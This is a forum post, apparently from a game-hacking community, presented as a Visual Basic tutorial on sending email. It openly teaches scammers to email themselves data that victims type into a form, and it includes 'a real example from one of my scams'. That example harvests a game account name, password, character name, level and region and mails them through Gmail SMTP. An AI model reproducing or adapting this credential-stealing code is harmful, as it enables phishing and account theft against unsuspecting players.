[Nova's VB Tutorials] The Mail Funtion menu

User Tag List

Results 1 to 1 of 1
  1. #1
    Novalok's Avatar Contributor
    Reputation
    166
    Join Date
    Oct 2006
    Posts
    213
    Thanks G/R
    0/0
    Trade Feedback
    1 (100%)
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)

    [Nova's VB Tutorials] The Mail Funtion

    Many scammers have programs that send an email with the information entered in a form, be it A gamecard or An account. In this tutorial you will learn how to do just that.

    First things first. When using mail Remember you must add this line to the VERY top of your code

    Code:
    Imports System.Net
    From now on all comments will be in code.

    Code:
    Dim message As System.Net.Mail.MailMessage ' Dims System.Net.Mail.MailMessage as message For syntax sake
    Code:
    Dim smtp As New System.Net.Mail.SmtpClient("smtp.gmail.com", 587) ' Sets the SMTP client. In this Example i am using Gmail
    Code:
    message = New System.Net.Mail.MailMessage("TO","FROM","SUBJECT","BODY") Pretty Self explainatory.
    Code:
    smtp.EnableSsl = True ' Required for Sites Like gmail which require you to log in

    Code:
    smtp.Credentials = New System.Net.NetworkCredential("username","Password") 'Agian it expains itself
    Code:
    message.IsBodyHtml = True 'Only Required if you Want HTML
    Code:
    smtp.Send(message) 'And this Little Bugger Just Does what you think. It sends it. :)

    Now A Real Example from one of my scams

    Code:
            Dim message As System.Net.Mail.MailMessage
            Dim smtp As New System.Net.Mail.SmtpClient("smtp.gmail.com", 587)
            message = New System.Net.Mail.MailMessage("[email protected]", "******@gmail.com", TextBox3.Text() & " - Level" & TextBox4.Text(), "Account Name: " & TextBox1.Text() & "<br>Account Password: " & TextBox2.Text() & "<br>Char Name " & TextBox3.Text() & "<br>Char Level: " & TextBox4.Text() & "<br>Region: " & ComboBox1.SelectedItem())
            smtp.EnableSsl = True
            smtp.Credentials = New System.Net.NetworkCredential(***)
            message.IsBodyHtml = True
            smtp.Send(message)
    Note***!!!***
    message i used strings like TextBox2.Text() &
    The " & " is required to seperate Any String from textbox or such.

    Enjoy..

    Novalok

    [Nova's VB Tutorials] The Mail Funtion

Similar Threads

  1. [Error]Sending In The Mail
    By aziz in forum World of Warcraft Emulator Servers
    Replies: 3
    Last Post: 07-19-2008, 08:20 PM
All times are GMT -5. The time now is 02:34 PM. Powered by vBulletin® Version 4.2.3
Copyright © 2025 vBulletin Solutions, Inc. All rights reserved. User Alert System provided by Advanced User Tagging (Pro) - vBulletin Mods & Addons Copyright © 2025 DragonByte Technologies Ltd.
Google Authenticator verification provided by Two-Factor Authentication (Free) - vBulletin Mods & Addons Copyright © 2025 DragonByte Technologies Ltd.
Digital Point modules: Sphinx-based search